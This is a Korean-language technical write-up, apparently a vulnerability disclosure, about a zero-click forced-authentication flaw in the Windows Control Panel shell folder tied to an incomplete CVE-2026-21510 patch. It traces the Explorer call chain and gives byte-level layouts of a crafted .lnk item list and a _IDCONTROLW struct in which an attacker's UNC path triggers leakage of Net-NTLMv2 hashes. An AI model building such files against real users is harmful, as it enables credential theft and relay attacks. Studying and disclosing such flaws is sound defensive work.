
제로 클릭 강제 인증 익스플로잇으로, Windows 제어판 폴더를 대상으로 합니다. 조작된 .lnk 파일이 아이콘 렌더링 중 UNC 해석을 트리거하여 아웃바운드 SMB 연결을 강제하고, 불완전한 CVE-2026-21510 패치를 통해 Net-NTLMv2 자격 증명이 유출됩니다.
Zero-click 강제 인증: 조작된 .lnk 파일이 있는 폴더를 보기만 해도 아이콘 렌더링 중 UNC 해석이 트리거되어, 피해자가 공격자가 지정한 아웃바운드 연결을 강제로 수행하게 되어 자신의 Net-NTLMv2 자격 증명이 유출(및 중계 가능)됩니다. CVE-2026-21510의 불완전한 패치로 인해 발생: Microsoft가 추가한 신뢰 확인은 ShellExecuteExW 호출 시점(호출 시)에만 작동했지만, 피해는 ShellExecute 신뢰 확인이 실행되기 전에 호출되는 CControlPanelFolder::GetUIObjectOf 지점에서 이미 발생합니다.
Explorer가 아이콘을 얻기 위해 CControlPanelFolder::GetUIObjectOf를 호출 -> CControlPanelFolder::GetModuleMapped -> PathFileExistsW(modulepath) -> GetFileAttributesW(modulepath). modulepath가 UNC 경로인 경우, 아웃바운드 SMB 연결이 이루어집니다. 호출이 필요하지 않습니다. 파일 존재 여부를 질의하는 것만으로 원격 stat이 트리거되고, 이로 인해 SMB 연결이 강제됩니다. SMB 리디렉터가 임의의 서버(TCP/445)로 연결을 열고, 자동 NTLM 인증이 트리거되어 피해자의 Net-NTLMv2 해시가 유출됩니다. 0클릭, 아이콘을 보는 것만으로도 트리거됩니다.
LinkTargetIDList
. IDListSize = 0xXXXX
. ITEMIDLIST =
. [SHITEMID] - Item #1 (binds CControlPanelFolder)
cb = 0x14 0x00
abID[0] = 0x1F - (CLSID (GUID) shell item)
abID[1] = 0x80 - (sort order index, hint, not part of the GUID)
abID[2..17] = 20 20 EC 21 EA 3A 69 10 A2 DD 08 00 2B 30 30 9D - (Control Panel CLSID)
. [SHITEMID] - Item #2 (All Control Panel Items view of CControlPanelFolder)
cb = 0x14 0x00
abID[0] = 0x1F
abID[1] = 0x80
abID[2..17] = 68 06 EE 26 0A A0 D7 44 93 71 BE B0 64 C9 86 83 - (All Control Panel Items CLSID)
. [SHITEMID] - Item #3 (CPL item parsed by CControlPanelFolder::GetUIObjectOf at render)
cb = 0xXX 0x00 - > 0x18 required; _IsUnicodeCPLWorker: cb must exceed 24
+0x02 .. - header bytes; +0x07 signature masked 0x00 or 0xFF (sub_18037D040 Gate 0)
+0x08 WORD = 0 - (checked by _IsUnicodeCPLWorker)
+0x0A WORD = 0 - (checked)
+0x0C BYTE = 0 - (checked)
+0x0D BYTE = 0x6A - Unicode-CPL type tag; flips parsing to the wide path
+0x14 WORD - wide offset (WCHARs) to string #2, ex. display name
+0x16 WORD - wide offset (WCHARs) to string #3
+0x18 WCHAR[] - wide string #1 = module path, attacker UNC goes here
제어판 애플릿 항목 유형에는 모듈 경로 필드가 포함되어 있습니다. 모듈 경로는 .cpl 모듈의 경로입니다. 셸 항목 #3에는 유니코드 제어판 애플릿 항목(_IDCONTROLW)이 포함되어 있습니다. 항목이 셸 항목 클래스 유형 바이트(abID[0])로 식별되지 않는다는 점에 유의하세요. 대신, _IsUnicodeCPLWorker가 다섯 가지 조건을 모두 확인하면 원시 바이트가 _IDCONTROLW로 처리됩니다:
이 조건이 코드가 +0x18을 모듈 경로로 읽을 수 있게 합니다. _IsUnicodeCPLWorker는 원시 항목 바이트를 보고 이 다섯 조건을 확인하며, 통과하면 동일한 포인터를 _IDCONTROLW*로 캐스트하여 반환합니다.
struct _IDCONTROLW{
/* +0x00 */ WORD cb; // item size; _IsUnicodeCPLWorker requires cb > 0x18
/* +0x02 */ BYTE bClassType; // abID[0] in SHITEMID terms (shell-item type indicator)
/* +0x03 */ BYTE unk_03; // (high bytes of the +0x04 dword; +0x07 masked 0x00/0xFF in sub_18037D040 Gate 0)
/* +0x04 */ BYTE unk_04;
/* +0x05 */ BYTE unk_05;
/* +0x06 */ BYTE unk_06;
/* +0x07 */ BYTE bSig07; // (dword@+0x04 & 0xFF000000) must be 0x00 or 0xFF
/* +0x08 */ WORD mustBeZero_08; // checked == 0 by _IsUnicodeCPLWorker
/* +0x0A */ WORD mustBeZero_0A; // checked == 0
/* +0x0C */ BYTE mustBeZero_0C; // checked == 0
/* +0x0D */ BYTE bUnicodeTag; // == 0x6A : the Unicode-CPL tag (the thing "confirmed")
/* +0x0E */ BYTE unk_0E[6]; // unknown (spans to +0x13)
/* +0x14 */ WORD offString2; // WCHAR offset (into payload) to string #2 — e.g. display name
/* +0x16 */ WORD offString3; // WCHAR offset to string #3
/* +0x18 */ WCHAR szModule[]; // string #1 = module path <-- attacker UNC; GetModule copies from base+24 verbatim
};